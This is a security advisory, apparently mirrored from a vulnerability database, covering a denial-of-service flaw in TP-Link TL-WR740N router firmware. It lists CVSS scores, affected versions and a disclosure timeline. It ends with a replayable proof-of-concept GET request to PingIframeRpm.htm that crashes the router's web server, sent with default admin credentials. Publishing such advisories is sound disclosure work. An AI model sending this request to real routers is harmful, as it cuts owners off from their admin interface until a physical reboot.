CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
97.6%
Title: TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service
Advisory ID: ZSL-2014-5210
Type: Local
Impact: DoS
Risk: (2/5)
Release Date: 22.11.2014
The TL-WR740N is a combined wired/wireless network connection device integrated with internet-sharing router and 4-port switch. The wireless N Router is 802.11b&g compatible based on 802.11n technology and gives you 802.11n performance up to 150Mbps at an even more affordable price. Bordering on 11n and surpassing 11g speed enables high bandwidth consuming applications like video streaming to be more fluid.
The TP-Link WR740N Wireless N Router network device is exposed to a denial of service vulnerability when processing a HTTP GET request. This issue occurs when the web server (httpd) fails to handle a HTTP GET request over a given default TCP port 80. Resending the value ‘new’ to the ‘isNew’ parameter in ‘PingIframeRpm.htm’ script to the router thru a proxy will crash its httpd service denying the legitimate users access to the admin control panel management interface. To bring back the http srv and the admin UI, a user must physically reboot the router.
TP-LINK Technologies Co., Ltd. - <http://www.tp-link.us>
Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)
Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
Hardware version: WR740N v4 00000000 (v4.23)
Model No. TL-WR740N / TL-WR740ND
Router Webserver
[13.11.2014] Vulnerability discovered.
[13.11.2014] Contact with the vendor.
[21.11.2014] No response from the vendor.
[22.11.2014] Public security advisory released.
Vulnerability discovered by Gjoko Krstic - <[email protected]>
[1] <http://cxsecurity.com/issue/WLB-2014110153>
[2] <http://www.exploit-db.com/exploits/35345/>
[3] <http://www.securityfocus.com/bid/71255>
[4] <http://packetstormsecurity.com/files/129227>
[5] <http://xforce.iss.net/xforce/xfdb/98927>
[6] <http://osvdb.org/show/osvdb/115017>
[7] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-9350>
[8] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9350>
[22.11.2014] - Initial release
[24.11.2014] - Added reference [2] and [3]
[25.11.2014] - Added reference [4] and [5]
[26.11.2014] - Added reference [6]
[09.12.2014] - Added reference [7] and [8]
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service
Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us
Affected version:
- Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
- Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)
- Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
- Hardware version: WR740N v4 00000000 (v4.23)
- Model No. TL-WR740N / TL-WR740ND
Summary: The TL-WR740N is a combined wired/wireless network connection
device integrated with internet-sharing router and 4-port switch. The
wireless N Router is 802.11b&g compatible based on 802.11n technology
and gives you 802.11n performance up to 150Mbps at an even more affordable
price. Bordering on 11n and surpassing 11g speed enables high bandwidth
consuming applications like video streaming to be more fluid.
Desc: The TP-Link WR740N Wireless N Router network device is exposed to a
denial of service vulnerability when processing a HTTP GET request. This
issue occurs when the web server (httpd) fails to handle a HTTP GET request
over a given default TCP port 80. Resending the value 'new' to the 'isNew'
parameter in 'PingIframeRpm.htm' script to the router thru a proxy will
crash its httpd service denying the legitimate users access to the admin
control panel management interface. To bring back the http srv and the
admin UI, a user must physically reboot the router.
Tested on: Router Webserver
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5210
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5210.php
13.11.2014
---
Replay
GET /userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&lineNum=1 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/PingIframeRpm.htm?ping_addr=zeroscience.mk&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
</p></body></html>